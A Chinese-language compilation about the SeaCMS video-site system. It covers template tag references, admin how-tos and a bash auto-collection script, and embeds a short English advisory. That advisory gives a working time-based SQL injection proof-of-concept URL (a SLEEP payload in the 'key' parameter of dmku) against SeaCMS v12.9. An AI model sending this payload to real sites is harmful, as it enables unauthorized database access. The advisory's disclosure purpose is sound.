[customvideolist:i]数据排列位
[customvideolist:id]数据实际id
[customvideolist:typeid]数据所在分类实际id
[customvideolist:typename]数据分类中文名
[customvideolist:typelink]数据分类链接
[customvideolist:name len=3]数据名称:可控制长度 缺省为不控制
[customvideolist:note len=10]影片备注信息,可配合标题一起显示,可控制长度 缺省为不控制
[customvideolist:link]数据内容页链接
[customvideolist:pic]图片
[customvideolist:spic]幻灯图片
[customvideolist:gpic]背景图片
[customvideolist:money]所需积分数
[customvideolist:actor len=3]主演:可控制长度,缺省为不控制
[customvideolist:hit]点击量
[customvideolist:dayhit]当日点击数
[customvideolist:weekhit]本周点击数
[customvideolist:monthhit]本月点击数
[customvideolistscore]评分
[customvideolistscorenum]评分总数
[customvideolist:scorenumer]评分总人数
[customvideolist:nickname]影片别名
[customvideolist:reweek]更新周期
[customvideolist:vodlen]影片时长
[customvideolist:vodtotal]影片总集数
[customvideolist:douban]豆瓣评分
[customvideolist:mtime]时光网评分
[customvideolist:imdb]IMDB评分
[customvideolist:tvs]上映电视台
[customvideolist:company]发行公司
[customvideolist:des len=30]描述:可控制长度 缺省为字符长度50
[customvideolist:time style=yyyy-mm-dd]时间:可控制时间格式yyyy-mm-ddyy-mm-dd mm-dd 缺省为yyyy-m-d 注:可选万能时间标签,详情查询php的date()函数或者gmdate() 函数
[customvideolist:from]数据来源 如优酷、土豆
[customvideolist:commend]数据推荐状态值
[customvideolist:state]数据连载状态
[customvideolist:publishtime]数据发行年份
[customvideolist:ver]视频版本
[customvideolist:publisharea]数据发行地区
[customvideolist:playlink]数据播放页链接
[customvideolist:letter]数据名称的首字母
[customvideolist:colorname len=3]数据彩色名称:可控制长度 缺省为不控制
[customvideolist:director]导演
[customvideolist:lang]语言
[customvideolist:digg]顶次次数
[customvideolist:tread]踩次次数
[customvideolist:keyword]设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
[customvideolist:jqtype]剧情分类名称带链接
[customvideolist:nolinkjqtype]剧情分类名称不带链接
{/seacms:customvideolist}
固定分页标签:
[customvideolist:pagenumber len=10]
自定义分页标签:
{customvideolist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/customvideolist:pagenumber}
{customvideolist:page}当前页数
{customvideolist:pagecount} 总页数
{customvideolist:recordcount}总数据条数
{customvideolist:firstlink}第一页链接
{customvideolist:backlink} 上一页链接
{customvideolist:nextlink} 下一页链接
{customvideolist:lastlink} 最后一页链接
自定义分页范例:

{customvideolist:page}/{customvideolist:pagecount} 共{customvideolist:recordcount}条记录 1..< {customvideolist:pagenumber len=8} {if:{customvideolist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/customvideolist:pagenumber} > ..{customvideolist:pagecount}

14.文章列表页标签newspage.html
参数:
size:每页条数默认值10
order:数据排序方式id/time/hit 缺省值为time
{seacms:newspagelist size=15}
[newspagelist:i]文章排列位
[newspagelist:id]文章实际id
[newspagelist:typename]分类中文名
[newspagelist:typelink]分类链接
[newspagelist:title len=10]文章标题 具有len属性控制长度,缺省为10
[newspagelist:colortitle len=3]文章标题:可控制长度 缺省为不控制
[newspagelist:note]文章属性,可配合标题一起显示
[newspagelist:link]文章内容页链接
[newspagelist:pic]图片
[newspagelist:author len=3]作者:可控制长度,缺省为不控制
[newspagelist:outline len=10]文章简述,可控制长度 缺省为不控制
[newspagelist:content]文章正文,文章标题 具有len属性控制长度,缺省为不控制
[newspagelist:hit]点击量
[newspagelist:time]文章添加时间,可控制时间格式yyyy-mm-dd yy-mm-dd mm-dd 缺省为yyyy-m-d
[newspagelist:from]文章来源
[newspagelist:commend]文章推荐状态值
[newspagelist:letter]文章的首字母
[newspagelist:digg]顶次次数
[newspagelist:tread]踩次次数
[newspagelist:score]评分
[newspagelist:scorenum]评分总数
[newspagelist:scorenumer]评分总人数
{/seacms:newspagelist}
固定分页标签:
[newspagelist:pagenumber len=8]
自定义分页标签:
{newspagelist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/newspagelist:pagenumber}
{newspagelist:page}当前页数
{newspagelist:pagecount} 总页数
{newspagelist:recordcount}总数据条数
{newspagelist:firstlink}第一页链接
{newspagelist:backlink} 上一页链接
{newspagelist:nextlink} 下一页链接
{newspagelist:lastlink} 最后一页链接
自定义分页范例:

{newspagelist:page}/{newspagelist:pagecount} 共{newspagelist:recordcount}条记录 1..< {newspagelist:pagenumber len=8} {if:{newspagelist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/newspagelist:pagenumber} > ..{newspagelist:pagecount}
独有标签: {newspagelist:typename} 分类名称 {newspagelist:keywords}分类关键词 {newspagelist:description}分类简介

15.文章搜索页列表newssearch.html
参数:
size:每页条数默认值10
order:数据排序方式id/time/hit 缺省值为time
{seacms:newssearchlist size=15}
[newssearchlist:i]文章排列位
[newssearchlist:id]文章实际id
[newssearchlist:typename]分类中文名
[newssearchlist:typelink]分类链接
[newssearchlist:title len=10]文章标题 具有len属性控制长度,缺省为10
[newssearchlist:colortitle len=3]文章标题:可控制长度 缺省为不控制
[newssearchlist:note]文章属性,可配合标题一起显示
[newssearchlist:link]文章内容页链接
[newssearchlist:pic]图片
[newssearchlist:author len=3]作者:可控制长度,缺省为不控制
[newssearchlist:outline len=10]文章简述,可控制长度 缺省为不控制
[newssearchlist:content]文章正文,文章标题 具有len属性控制长度,缺省为不控制
[newssearchlist:hit]点击量
[newssearchlist:time]文章添加时间,可控制时间格式yyyy-mm-dd yy-mm-dd mm-dd 缺省为yyyy-m-d
[newssearchlist:from]文章来源
[newssearchlist:commend]文章推荐状态值
[newssearchlist:letter]文章的首字母
[newssearchlist:digg]顶次次数
[newssearchlist:tread]踩次次数
[newssearchlist:score]评分
[newssearchlist:scorenum]评分总数
[newssearchlist:scorenumer]评分总人数
{/seacms:newssearchlist}
固定分页标签:
[newssearchlist:pagenumber len=8]
自定义分页标签:
{newssearchlist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/newssearchlist:pagenumber}
{newssearchlist:page}当前页数
{newssearchlist:pagecount} 总页数
{newssearchlist:recordcount}总数据条数
{newssearchlist:firstlink}第一页链接
{newssearchlist:backlink} 上一页链接
{newssearchlist:nextlink} 下一页链接
{newssearchlist:lastlink} 最后一页链接
自定义分页范例:

{newssearchlist:page}/{newssearchlist:pagecount} 共{newssearchlist:recordcount}条记录 1..< {newssearchlist:pagenumber len=8} {if:{newssearchlist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/newssearchlist:pagenumber} > ..{newssearchlist:pagecount}

16.专题列表标签topicindex.html
参数:
size:每页数据条数 缺省值为12
{seacms:topicindexlist size=12}
[topicindexlist:i]专题排序位
[topicindexlist:n]专题排列位,永远都是从1开始
[topicindexlist:name]专题名称
[topicindexlist:count]专题包含的数据数量
[topicindexlist:pic]专题图片
[topicindexlist:link]专题链接
[topicindexlist:des]专题描述:可控制长度缺省为50
{/seacms:topicindexlist}
固定分页标签:
[topicindexlist:pagenumber len=10]
自定义分页标签:
{topicindexlist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/topicindexlist:pagenumber}
{topicindexlist:page}当前页数
{topicindexlist:pagecount} 总页数
{topicindexlist:recordcount}总数据条数
{topicindexlist:firstlink}第一页链接
{topicindexlist:backlink} 上一页链接
{topicindexlist:nextlink} 下一页链接
{topicindexlist:lastlink} 最后一页链接
自定义分页范例:

{topicindexlist:page}/{topicindexlist:pagecount} 共{topicindexlist:recordcount}条记录 1..< {topicindexlist:pagenumber len=8} {if:{topicindexlist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/topicindexlist:pagenumber} > ..{topicindexlist:pagecount}

17.专题页标签topic.html
参数:
order数据排序方式,id/idasc,按发布时间,time/timeasc,按点击量hit/hitasc,按推荐commend/commendasc,按顶次数digg/diggasc,按随机random,按评分score/douban/mtime/imdb,默认time。(其中带asc的为正序,不带asc的为倒序)
{seacms:topicpagelist size=5 order=time}
[topicpagelist:i]数据排列位
[topicpagelist:id]数据实际id
[topicpagelist:typeid]数据所在分类实际id
[topicpagelist:typename]数据分类中文名
[topicpagelist:typelink]数据分类链接
[topicpagelist:name len=3]数据名称:可控制长度 缺省为不控制
[topicpagelist:note len=10]影片备注信息,可配合标题一起显示,可控制长度 缺省为不控制
[topicpagelist:link]数据内容页链接
[topicpagelist:pic]图片
[topicpagelist:spic]幻灯图片
[topicpagelist:gpic]背景图片
[topicpagelist:money]所需积分数
[topicpagelist:actor len=3]主演:可控制长度,缺省为不控制
[topicpagelist:hit]点击量
[topicpagelist:dayhit]当日点击数
[topicpagelist:weekhit]本周点击数
[topicpagelist:monthhit]本月点击数
[topicpagelist:score]评分
[topicpagelist:scorenum]评分总数
[topicpagelist:scorenumer]评分总人数
[topicpagelist:nickname]影片别名
[topicpagelist:reweek]更新周期
[topicpagelist:vodlen]影片时长
[topicpagelist:vodtotal]影片总集数
[topicpagelist:douban]豆瓣评分
[topicpagelist:mtime]时光网评分
[topicpagelist:imdb]IMDB评分
[topicpagelist:tvs]上映电视台
[topicpagelist:company]发行公司
[topicpagelist:des len=30]描述:可控制长度 缺省为字符长度50
[topicpagelist:time style=yyyy-mm-dd]时间:可控制时间格式yyyy-mm-ddyy-mm-dd mm-dd 缺省为yyyy-m-d 注:可选万能时间标签,详情查询php的date()函数或者gmdate() 函数
[topicpagelist:from]数据来源 如优酷、土豆
[topicpagelist:commend]数据推荐状态值
[topicpagelist:state]数据连载状态
[topicpagelist:publishtime]数据发行年份
[topicpagelist:ver]视频版本
[topicpagelist:publisharea]数据发行地区
[topicpagelist:playlink]数据播放页链接
[topicpagelist:letter]数据名称的首字母
[topicpagelist:colorname len=3]数据彩色名称:可控制长度 缺省为不控制
[topicpagelist:director]导演
[topicpagelist:lang]语言
[topicpagelist:digg]顶次次数
[topicpagelist:tread]踩次次数
[topicpagelist:keyword]设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
[topicpagelist:jqtype]剧情分类名称带链接
[topicpagelist:nolinkjqtype]剧情分类名称不带链接
{/seacms:topicpagelist}
固定分页标签:
[topicpagelist:pagenumber len=10]
自定义分页标签:
{topicpagelist:pagenumber len=10}
[pagenumber:link]1.....10页链接
[pagenumber:page]页数字
{/topicpagelist:pagenumber}
{topicpagelist:page}当前页数
{topicpagelist:pagecount} 总页数
{topicpagelist:recordcount}总数据条数
{topicpagelist:firstlink}第一页链接
{topicpagelist:backlink} 上一页链接
{topicpagelist:nextlink} 下一页链接
{topicpagelist:lastlink} 最后一页链接
自定义分页范例:

{topicpagelist:page}/{topicpagelist:pagecount} 共{topicpagelist:recordcount}条记录 1..< {topicpagelist:pagenumber len=8} {if:{topicpagelist:page}<>[pagenumber:page]} [pagenumber:page] {else} [pagenumber:page] {end if} {/topicpagelist:pagenumber} > ..{topicpagelist:pagecount}
独有标签: {seacms:topicname} :专题名称 {seacms:topicdes} :专题介绍 {seacms:topickeyword} : 专题关键词 {seacms:currrent_topic_id} : 当前专题id {seacms:topicpic} :专题图片

18.内容页播放页共同标签content.html/play.html
解析范围:以下标签无特殊说明的话,均支持内容页、播放页模板
{playpage:textlink}内容页或播放页的当前位置
{playpage:id} ID
{playpage:upid}父分类ID
{playpage:typeid}分类ID
{playpage:name} 名称,具有len属性控制长度,缺省为不控制
{playpage:encodename} 片名的urlencode,传递URL参数用的
{playpage:link}内链接地址
{playpage:playlink} 立即播放链接地址
{playpage:url} 外链接地址
{playpage:publishtime} 发行年份
{playpage:ver} 视频版本
{playpage:publisharea} 发行地区
{playpage:actor}有链接地址主演,具有len属性控制长度,缺省为不控制
{playpage:nolinkactor} 无链接地址数据主演,具有len属性控制长度,缺省为不控制,可以作为内容页或播放页的页面描述
{playpage:director} 带链接导演
{playpage:nolinkdirector} 不带链接导演信息
{playpage:pic} 图片
{playpage:spic} 幻灯图片
{playpage:gpic} 背景图片
{playpage:money} 所需积分数
{playpage:addtime}添加日期
{playpage:state}连载状态,显示连载到的数字,非连载为0,例{if:{playpage:state}==0}完结{else}更新至{playpage:state}集{end if}
{playpage:des} 介绍,具有len属性控制长度,配合len属性可以作为内容页或播放页的页面描述,缺省为不控制
{playpage:commend}推荐星级数字,推荐值为1-5,不推荐为0,例{if:{playpage:commend}>0}推荐数据{end if}
{playpage:typename}分类中文名称
{playpage:typelink} 分类链接
{playpage:note} 备注,可以配合标题一起显示,具有len属性控制长度,缺省为不控制,例{if:"{playpage:note}"<>""}{playpage:note}{end if}
{playpage:lang} 语言
{playpage:playurlinfo} 播放器列表数据信息,供flash播放器调用(必须在{playpage:player}标签前调用),仅支持播放页模板
{playpage:player}播放器标签,仅支持播放页模板 注意:播放页模板(play.html):必须在上面添加一行代码:<script>var playn='{playpage:name}', playp='{playpage:part}';</script>否则播放器无法正常显示。
{playpage:from} 某来源名称标签,可以作为播放页title,此标签只对动态播放页有效,仅支持播放页模板
{playpage:dz} 播放页当前播放影片实际地址,播放页为静态时无效,仅支持播放页
{playpage:part} 某集名称标签,可以作为播放页title,此标签只对动态播放页有效,仅支持播放页模板
{playpage:hit} 人气,模板里如没有这个标签,则点击数无法增加
{playpage:dayhit} 当日点击数
{playpage:weekhit} 本周点击数
{playpage:monthhit} 本月点击数
{playpage:nickname} 影片别名
{playpage:reweek} 更新周期
{playpage:vodlen} 影片时长
{playpage:vodtotal} 影片总集数
{playpage:douban} 豆瓣评分
{playpage:mtime} 时光网评分
{playpage:imdb} IMDB评分
{playpage:tvs} 上映电视台
{playpage:company} 发行公司
{playpage:reporterr} 报错标签
rel:相关资源,仅内容页和播放页有效,rel=d为同导演影片,rel=y同演员,rel=r像似名称影片,使用办法查看{seacms:videolist}标签里的对应说明
{playpage:prenext}上一个下一个视频标签,内容页跳至内容页,播放页跳至播放页
<a on--click="return parent.video_jump(-1)"href="javascript:void()">上一集 上一集,把--去掉
<a on--click="return parent.video_jump(1)"href="javascript:void()">下一集 下一集,把--去掉
{playpage:comment}评论标签
{playpage:keywords}设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
{playpage:nolinkkeywords}设置的SEO关键字
{playpage:jqtype} 剧情分类名称带链接
{playpage:nolinkjqtype} 剧情分类名称不带链接
{playpage:director}有链接地址导演
{playpage:nolinkdirector}无链接地址数据导演,可以作为内容页或播放页的页面描述
{playpage:desktopurl} 下载快捷方式到桌面链接
{playpage:mark len=10} 评分标签,len=10 0到10分评分项,style=star 星星评分样式
{playpage:digg} 顶标签,显示顶数目及顶操作
{playpage:tread}踩标签,显示踩数目及踩操作
{playpage:diggnum}顶标签,只显示顶数字
{playpage:treadnum}踩标签,只显示踩数字
{playpage:score}评分,直接显示数字
{playpage:scorenum}评分总数
{playpage:scorenumer}评分总人数
{playpage:playlistlen}播放列表总组数
{playpage:downlistlen} 下载列表总组数
{playpage:longtxt}备用说明,支持长文本内容
播放列表标签:
{playpage:playlist}
[playlist:i]播放地址实际序号,不随着来源排序变化
[playlist:s]播放来源排序数值,显示后台你设置的播放来源排列序号
[playlist:link target=_self]播放地址链接,以多个li方式输出, target:链接打开方式,当前_self 新窗口_blank 顶部_top 缺省值为_blank
[playlist:url]播放列表实际播放地址 带链接
[playlist:nolinkurl]播放列表实际播放地址 不带链接
[playlist:from]播放来源名称,如优酷、土豆
[playlist:ename]播放来源英文名称,如youku、tudou
[playlist:intro]播放格式说明,如QVOD数据显示为:需要下载QVOD播放器,点此下载播放器
{/playpage:playlist}
下载列表标签:
{playpage:downlist}
[downlist:i]下载地址排列位
[downlist:link]下载地址链接, target:链接打开方式,当前_self 新窗口_blank 顶部_top 缺省值为_blank
[downlist:linkstr]实际下载地址
[downlist:from]下载来源
{/playpage:downlist}

19.文章内容页标签news.html
{news:textlink} 文章内容页的当前位置
{news:id} 文章ID
{news:upid} 文章父分类ID
{news:note} 文章属性,可配合标题一起显示
{news:link} 文章内链接地址
{news:url} 文章外链接地址
{news:typeid} 文章分类ID
{news:title len=10}文章标题,具有len属性控制长度,缺省为不控制
{news:outline} 文章简述,具有len属性控制长度,缺省为不控制
{news:author} 作者
{news:from} 来源
{news:pic} 图片地址
{news:addtime} 时间
{news:content} 文章正文 具有len属性控制长度,缺省为不控制
{news:commend} 文章星级数字,推荐值为1-5,不推荐为0,例{if:{news:commend}>0}推荐文章{end if}
{news:typename} 分类中文名称
{news:hit} 文章点击率
{news:prenext} 上一个下一个文章标签
{news:comment} 评论标签
{news:mark len=10}评分标签,len=10 0到10分评分项,style=star 星星评分样式
{news:digg} 顶标签,显示顶数目及顶操作
{news:tread} 踩标签,显示踩数目及踩操作
{news:diggnum} 顶标签,只显示顶数字
{news:treadnum} 踩标签,只显示踩数字
{news:score} 评分,直接显示数字
{news:scorenum} 评分总数
{news:scorenumer} 评分总人数
{news:keywords} 文章设置的SEO关键字、支持超级链接模式,可以作为数据的TAG
{news:nolinkkeywords}文章设置的SEO关键字,无链接
{news:encodetitle}URL编码的文章标题 用来传递URL参数
{news:subtitle} 分页副标题
{news:subcontent}文章正文包含分页符(#p#副标题#e#) 进行内容分页
{news:subpagenumber len=10} 分页数字列表 len表示数字列表长度
注:新闻内容页可以利用循环标签{seacms:videolist rel=v}来实现调用相关视频,当新闻关键词等于视频名称时,自动调用对应视频。

20.级联搜索调用标签(可作用于整个CMS)
此标签用于调出级联搜索页面
{seacms:()caslist}
[(
)caslist:i]菜单项排序位
[()caslist:value]菜单项名称
[(
)caslist:link]菜单项链接
{/seacms:(*)caslist}
其中的'()'可为area地区year年份letter首字母type分类lang语言jq剧情分类state连载状态ver视频版本
例如:
按分类:{seacms:typecaslist}[typecaslist:value]{/seacms:typecaslist}
按地区:{seacms:areacaslist}[areacaslist:value]{/seacms:areacaslist}
按年份:{seacms:yearcaslist}[yearcaslist:value]{/seacms:yearcaslist}
按字母:{seacms:lettercaslist}[lettercaslist:value]{/seacms:lettercaslist}
按语言:{seacms:langcaslist}[langcaslist:value]{/seacms:langcaslist}
按剧情:{seacms:jqcaslist}[jqcaslist:value]{/seacms:jqcaslist}
按连载:{seacms:statecaslist}[statecaslist:value]{/seacms:statecaslist}
按版本:{seacms:vercaslist}[vercaslist:value]{/seacms:vercaslist}
按收费:{seacms:moneycaslist}[moneycaslist:value]{/seacms:moneycaslist}

21.专题调用标签
参数:
id:all表示调出所有专题;id为指定专题ID表示调出某个专题;调出指定多个专题使用英文逗号隔开;默认值为all
num:专题条数缺省值为10
start:专题列表调用的起点位置,缺省值为1
{seacms:topiclist id=all num=10 start=2}
[topiclist:i]专题排序位
[topiclist:n]专题排列位,永远都是从1开始
[topiclist:id]专题ID
[topiclist:name]专题名称
[topiclist:count]专题包含的数据数量
[topiclist:pic]专题图片
[topiclist:link]专题链接
[topiclist:des]专题描述:可控制长度缺省为50
{/seacms:topiclist}

22.友情链接列表标签
解析范围:支持首页模板
参数:
type:友情链接类型 font表示文字,pic表示图片
{seacms:linklist type=pic}
[linklist:i]链接项排列位
[linklist:name]链接名称,可控制长度 缺省为不控制
[linklist:link]链接地址
[linklist:pic]链接图片
[linklist:des]链接描述,可控制长度 缺省为长度20
{/seacms:linklist}

23.留言板标签gbook.html
解析范围: 留言模板(gbook.html)
{gbook:main} 留言表单
{gbook:viewLeaveWord} 留言列表

24.tags页独有标签tag.html
解析范围:支持tag页模板
{seacms:tag}:TAG名称
{seacms:tagnum}:TAG的数目

25.运算符说明(加减乘除、大小比较等等)

  •    加法
    
  •     减法
    
  •     乘法
    

/ 除法
% 求余数
== 等于
=== 全等(数值,数据类型均相等,不常用)
!= 不等于
<> 不等于的另外一种写法
!== 不全等(数值,数据类型均不相等,不常用)

   大于

< 小于

= 大于或等于
<= 小于或等于

26.模板标签里的时间函数data()详细参数说明
模板标签里,在判断语句里可以直接使用部分php函数表示
例如判断当天是星期几:{if:date('N')==2}周二{else}不是周二{end if}
下面是时间函数 date('xxxxxx')的详细参数,其它参数请百度查阅php相关函数
d月份中的第几天,有前导零的 2 位数字01 到 31
D星期中的第几天,文本表示,3 个字母Mon 到 Sun
j月份中的第几天,没有前导零1 到 31
l(“L”的小写字母)星期几,完整的文本格式Sunday 到 Saturday
NISO-8601 格式数字表示的星期中的第几天(PHP 5.1.0 新加)1(表示星期一)到 7(表示星期天)
S每月天数后面的英文后缀,2 个字符st,nd,rd 或者 th。可以和 j 一起用
w星期中的第几天,数字表示0(表示星期天)到 6(表示星期六)
z年份中的第几天0 到 366
星期------
WISO-8601 格式年份中的第几周,每周从星期一开始 例如:42(当年的第 42 周)
月------
F月份,完整的文本格式,例如 January 或者 MarchJanuary 到 December
m数字表示的月份,有前导零01 到 12
M三个字母缩写表示的月份Jan 到 Dec
n数字表示的月份,没有前导零1 到 12
t给定月份所应有的天数28 到 31
年------
L是否为闰年如果是闰年为 1,否则为 0
oISO-8601 格式年份数字。这和 Y 的值相同,只除了如果 ISO 的星期数(W)属于前一年或下一年,则用那一年。Examples: 1999 or 2003
Y4 位数字完整表示的年份 例如:1999 或 2003
y2 位数字表示的年份 例如:99 或 03
时间------
a小写的上午和下午值am 或 pm
A大写的上午和下午值AM 或 PM
BSwatch Internet 标准时000 到 999
g小时,12 小时格式,没有前导零1 到 12
G小时,24 小时格式,没有前导零0 到 23
h小时,12 小时格式,有前导零01 到 12
H小时,24 小时格式,有前导零00 到 23
i有前导零的分钟数00 到 59>
s秒数,有前导零00 到 59>
时区------
e时区标识(PHP 5.1.0 新加)例如:UTC,GMT,Atlantic/Azores
I是否为夏令时如果是夏令时为 1,否则为 0
O与格林威治时间相差的小时数 例如:+0200
P与格林威治时间(GMT)的差别,小时和分钟之间有冒号分隔(PHP 5.1.3 新加)例如:+02:00
T本机所在的时区例如:EST,MDT(【译者注】在 Windows 下为完整文本格式,例如“Eastern Standard Time”,中文版会显示“**标准时间”)。
Z时差偏移量的秒数。UTC 西边的时区偏移量总是负的,UTC 东边的时区偏移量总是正的。-43200 到 43200
完整的日期/时间------
cISO 8601 格式的日期(PHP 5 新加)2004-02-12T15:19:21+00:00
rRFC 822 格式的日期例如:Thu, 21 Dec 2000 16:01:07 +0200
U从 Unix 纪元(January 1 1970 00:00:00 GMT)开始至今的秒数,参见 time()

Unauthenticated SQL Injection in SeaCMS v12.9

Summary
SeaCMS v12.9 suffers from an unauthenticated SQL injection vulnerability in the dmku/index.php file where user-supplied data is used directly in an SQL query without proper sanitization.
No filtering found in source code
image
Proof of Concept (PoC)
http(s)://ip:port//js/player/dmplayer/dmku/?ac=so&key=1&type=list
微信图片_20240611101737
http(s)://ip:port//js/player/dmplayer/dmku/?ac=so&key=1' AND (SELECT 1806 FROM (SELECT(SLEEP(5)))npVX)-- OXgJ&type=list
image
Impact
This vulnerability allows unauthenticated remote attackers to inject arbitrary SQL commands through the "key" parameter.

海洋cms怎么修改会员权限

使用海洋cms添加新分类后需要对新添加的分类给予权限才可以浏览分类下的相关内容。如果不开启权限就会出现下图提示:“系统提示您当前的会员级别没有权限浏览此内容!点击这里手动跳转”的文字提示。下面说下,海洋cms怎么修改会员权限。

来到海洋cms系统后台,按顺序点击--用户--用户组管理--编辑,我们添加新分类后你可以给予下面六种用户开启权限。假如你想让钻石会员才能观看,那你就只编辑钻石会员即可。如果你想都能查看这个分类,那就需要都编辑下。最后记得更新下缓存,不然前台不会生效。

海洋CMS最新v10.1正式版发布

简单 · 快速 · 稳定 · 开源
基于GPL协议100%开源免费,自适应电脑、手机、平板、APP多终端入口,无加密、安全有保障,是您最佳的建站工具!
官网下载:www.seacms.net

自定义页无法访问的解决方法

海洋cms自定义页无法访问的解决方法

海洋cms影片排行,最近更新等页面无法访问的解决方法

海洋cms影片排行,最近更新等页面属于自定义页面,自定义页面需要生成。即使网站是以动态方式运行,也需要生成。

操作步骤:网站后台 - 生成 - 生成其它 -生成全部自定义页

什么是自适应模板?自适应模板有什么优点缺点

1.背景介绍

自适应模板,顾名思议,网站本身是现成做好的自适应网站。用户获得自适应模板后,只需把原本网站的素材改成自己的东西,网站就能实现电脑、手机的自适应,不同终端获得同样的呈现效果。

现在人们通过手机浏览网页占了大多数,随着浏览方式的改变,网页实现多终端自适应,无论对于避免工程师无谓的重复劳动或者是项目管理的便捷性上来说重要性都是十分巨大的。

2.知识剖析

由于移动设备越来越多的被人们使用,手机成为访问互联网的最常见终端,而我们设计的网页确是为了呈现在PC端。

手机的屏幕比较小,宽度通常在600像素以下,而PC的屏幕宽度,一般都在1000像素以上(目前主流宽度是1366×768),有的还达到了2000像素。同样的内容,要在大小迥异的屏幕上,都呈现出满意的效果,并不是一件容易的事。

很多网站的解决方法,是为不同的设备提供不同的网页,比如专门提供一个mobile版本,或者iPhone / iPad版本。这样做固然保证了效果,但是比较麻烦,同时要维护好几个版本,而且如果一个网站有多个portal(入口),会大大增加架构设计的复杂度。

自适应是为了解决如何才能在不同大小的设备上呈现同样的网页。

3.扩展思考

自适应与响应式的区别

自适应是为了解决如何才能在不同大小的设备上呈现同样的网页,让同一张网页自动适应不同大小的屏幕,根据屏幕宽度,自动调整网页内容大小。但是无论怎样,他们主体的内容和布局是没有变的。

自适应还是暴露出一个问题,如果屏幕太小,即使网页能够根据屏幕大小进行适配,但是会感觉在小屏幕上查看,内容过于拥挤,响应式正是为了解决这个问题而衍生出来的概念。它可以自动识别屏幕宽度、并做出相应调整的网页设计,布局和展示的内容可能会有所变动。

响应式布局被大家熟知的一个重要原因就是 twitter 开源了 bootstrap。

相比自适应网站,响应式网站省去了很多的控件,同时也省去了不少建立和维护的功夫。响应式布局就是一种流体,在按百分比缩放时也能相当的流畅。

使用响应式设计,你要记住所以的布局。这当然可能会使过程混乱,并且使设计更加复杂。这就意味着你应该专注于中等分辨率的视图,然后再用media querie调整为更低或更高的分辨率。 所以通常的做法是,在一个新的项目中使用响应式设计,在后期的改造中使用自适应设计。

自适应可用于改造现有的网站使其更好地适应移动端。这使你的设计可控制和开发多个特定的视图。你开发视图的数量完全取决于你,你的公司和全面的预算。然而,它也提供了一定量的控件(例如在内容和布局上),如此你便无须使用响应式设计。但当你设计多种分辨率时你会发现,在改变窗口大小的时候将会“跳出”布局。

自适应网站可以用于设计和开发一个拥有多个自适应视图的网站。所以这种设计通常用于改造网站。

海洋CMS忘记后台管理员密码解决方法

由于我们生活中的账号密码实在太多,一个网站一个账号,难免会有忘记账号密码的尴尬事情出现。
今天就来说下关于海洋cms忘记后台管理员密码的解决方法。
1,打开自己的网站空间数据库,找到数据表sea_admin表进行修改;
2,修改password字段为括号内的:f297a57a5a743894a0e4这样密码就会重置为admin。很简单吧

海洋cms设置宝塔自动采集教程

第一步:获取脚本代码。
【1】下面是自动采集脚本代码,我们需要修改代码里面的3项后才可以使用。

#!/bin/bash
########################################################
# 程序名称: 海洋CMS自动采集脚本
# 版本信息:seacmsbot/ v2.0
# 发布链接: https://www.seacms.net/post-update-92579.htm
# 使用方法:直接复制代码到宝塔计划任务shell脚本内容里添加每小时任务使用
# 更新时间:2019.9.26
##########################################################
#①请修改下面的网站域名及管理目录
web_site="http://网站域名/管理目录/admin_reslib2.php"
   
#②请修改下面项内容为"admin_reslib2.php"里设置的访问密码(默认为系统设置的cookie密码)
web_pwd="8888e82e85bd4540f0defa3fb7a8e888"
   
#③下面项内容为资源站每日采集链接地址列表,请自行修改,每行一条,可添加多个,前后需添加引号。
#每日采集链接获取方法:选择"后台-采集-资源库列表",复制资源站右边的"采集每天"的链接地址,去掉?前面的内容。
web_api=(
    
      '?ac=day&rid=1&url=https://api.iokzy.com/inc/ldg_seackm3u8s.php'
     '?ac=day&rid=2&url=http://www.zdziyuan.com/inc/s_ldgm3u8_sea.php' 
  
)
#模拟用户浏览器ua,请勿随意修改,以免被目标防火墙拦截!
web_ua="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/76.0.3809.100 Safari/537.36 seacmsbot/1.2;"
   
#采集单页
function get_content() {
  echo  "正在采集第$page页..." 
  #echo  " get_content: --->url:--->$1"
  cResult=$(curl  --connect-timeout 10 -m 20  -k -s   -L -A "$web_ua"  "$1" )
  echo $cResult | grep -q "采集"
  #echo  -e  "$1\n$cResult"
 if [ "$?" = "0" ]; then
     next_content "$cResult"
else
    echo  -e "采集失败,请检查设置!\n失败链接-->$1\n返回信息-->$cResult\n采集结束,共0页"
fi 
}
#采集下页
function next_content() {
    #统计数据
     Result=$(echo "$1" | tr "<br>" "\n")
     a=$(echo "$Result" | grep -c  "采集成功")
     b=$(echo "$Result" | grep -c  "更新数据")
     c=$(echo "$Result" | grep -c  "无需更新")
     d=$(echo "$Result" | grep -c  "跳过")
     echo "采集成功-->已更$c部,新增$a部,更新$b部,跳过$d部"
     let add+=$a
     let update+=$b
     let none+=$c
     let jmp+=$d
    #检测并采集下页
     next_url=${1##*location.href=\'}
     next_url=${next_url%%\'*}
      #echo $next_url
      if [ "${next_url:0:1}" = "?" ]
          then
          let page++
          get_content "$web_site$next_url" 
    else
         echo "采集结束,共$page页"
       fi  
}
#脚本入口
echo "海洋CMS自动采集脚本开始执行 版本:v1.2"
starttime=$(date +%s)
update=0  #更新
add=0     #新增
none=0  #无变化
jmp=0  # 跳过
for url in ${web_api[@]}; 
do  
if [[ ! -z $url ]]
     then
           web_param="$web_site$url&password=$web_pwd"
           page=1
           echo "开始采集:$url"
           get_content $web_param
  fi 
done
endtime=$(date +%s)
echo "============================"
echo "入库-->$add部"
echo "更新-->$update部"
echo "跳过-->$jmp部(未绑定分类或链接错误)"
echo "今日-->$[none+add+update]部"
echo "============================"
echo  "全部采集结束,耗时$[endtime - starttime]秒"

第二步:修改脚本

